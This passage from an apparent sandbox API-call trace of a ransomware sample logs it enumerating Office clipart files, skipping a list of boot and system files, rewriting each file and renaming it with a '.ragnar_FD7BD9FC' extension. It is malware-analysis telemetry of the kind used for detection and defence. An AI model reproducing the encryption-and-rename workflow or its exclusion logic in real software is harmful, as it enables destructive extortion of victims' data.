nNumberOfBytesToLockHigh=0x0) returned 1 [0088.172] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.172] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.172] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.173] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.173] GetProcessHeap () returned 0x580000 [0088.173] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.173] CloseHandle (hObject=0xf4) returned 1 [0088.173] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" [0088.173] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.ragnar_FD7BD9FC" [0088.173] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.173] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x190e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384862.JPG", cAlternateFileName="")) returned 1 [0088.173] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.173] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0384862.JPG" | out: lpString1="J0384862.JPG") returned="J0384862.JPG" [0088.174] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG") returned=".JPG" [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="autorun.inf") returned 1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="boot.ini") returned 1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="bootfont.bin") returned 1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="bootsect.bak") returned 1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="bootmgr") returned 1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="bootmgr.efi") returned 1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="bootmgfw.efi") returned 1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="desktop.ini") returned 1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="iconcache.db") returned 1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="ntldr") returned -1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="ntuser.dat") returned -1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="ntuser.dat.log") returned -1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="ntuser.ini") returned -1 [0088.174] lstrcmpiW (lpString1="J0384862.JPG", lpString2="thumbs.db") returned -1 [0088.174] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.174] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.174] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.174] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.174] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.174] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.174] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg")) returned 0x20 [0088.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.175] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=102633) returned 1 [0088.175] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x190e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.175] GetProcessHeap () returned 0x580000 [0088.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.175] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.178] VirtualAlloc (lpAddress=0x0, dwSize=0x190e9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.178] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.178] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.178] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x190e9, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x190e9, lpOverlapped=0x0) returned 1 [0088.180] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.181] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x190e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.181] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x190e9, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x190e9, lpOverlapped=0x0) returned 1 [0088.181] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x190e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.181] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.182] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x190e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.182] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.182] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.182] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.182] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.182] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.182] GetProcessHeap () returned 0x580000 [0088.182] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.182] CloseHandle (hObject=0xf4) returned 1 [0088.182] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" [0088.182] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.ragnar_FD7BD9FC" [0088.183] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.183] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17b79, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384885.JPG", cAlternateFileName="")) returned 1 [0088.183] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.183] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0384885.JPG" | out: lpString1="J0384885.JPG") returned="J0384885.JPG" [0088.183] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG") returned=".JPG" [0088.183] lstrcmpiW (lpString1="J0384885.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.183] lstrcmpiW (lpString1="J0384885.JPG", lpString2="autorun.inf") returned 1 [0088.183] lstrcmpiW (lpString1="J0384885.JPG", lpString2="boot.ini") returned 1 [0088.183] lstrcmpiW (lpString1="J0384885.JPG", lpString2="bootfont.bin") returned 1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="bootsect.bak") returned 1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="bootmgr") returned 1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="bootmgr.efi") returned 1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="bootmgfw.efi") returned 1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="desktop.ini") returned 1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="iconcache.db") returned 1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="ntldr") returned -1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="ntuser.dat") returned -1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="ntuser.dat.log") returned -1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="ntuser.ini") returned -1 [0088.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="thumbs.db") returned -1 [0088.184] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.184] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.184] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.184] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.184] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.184] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.184] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg")) returned 0x20 [0088.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.185] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=97145) returned 1 [0088.185] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17b70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.185] GetProcessHeap () returned 0x580000 [0088.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.185] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.186] VirtualAlloc (lpAddress=0x0, dwSize=0x17b79, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.186] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.186] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.186] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17b79, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x17b79, lpOverlapped=0x0) returned 1 [0088.189] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.189] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17b79, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.190] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17b79, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17b79, lpOverlapped=0x0) returned 1 [0088.190] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17b79, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.190] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.191] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17b79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.191] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.191] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.191] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.191] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.191] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.191] GetProcessHeap () returned 0x580000 [0088.191] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.191] CloseHandle (hObject=0xf4) returned 1 [0088.191] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" [0088.191] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.ragnar_FD7BD9FC" [0088.191] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.192] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384888.JPG", cAlternateFileName="")) returned 1 [0088.192] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.192] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0384888.JPG" | out: lpString1="J0384888.JPG") returned="J0384888.JPG" [0088.192] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG") returned=".JPG" [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="autorun.inf") returned 1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="boot.ini") returned 1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="bootfont.bin") returned 1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="bootsect.bak") returned 1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="bootmgr") returned 1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="bootmgr.efi") returned 1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="bootmgfw.efi") returned 1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="desktop.ini") returned 1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="iconcache.db") returned 1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="ntldr") returned -1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="ntuser.dat") returned -1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="ntuser.dat.log") returned -1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="ntuser.ini") returned -1 [0088.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="thumbs.db") returned -1 [0088.192] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.192] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.192] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.192] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.192] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.192] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.192] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg")) returned 0x20 [0088.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.193] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=81971) returned 1 [0088.193] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1402a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.193] GetProcessHeap () returned 0x580000 [0088.193] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.193] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.195] VirtualAlloc (lpAddress=0x0, dwSize=0x14033, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.195] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.195] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14033, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14033, lpOverlapped=0x0) returned 1 [0088.197] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.198] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14033, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.198] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14033, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14033, lpOverlapped=0x0) returned 1 [0088.198] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14033, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.198] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.199] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14033, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.199] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.199] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.199] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.199] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.199] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.199] 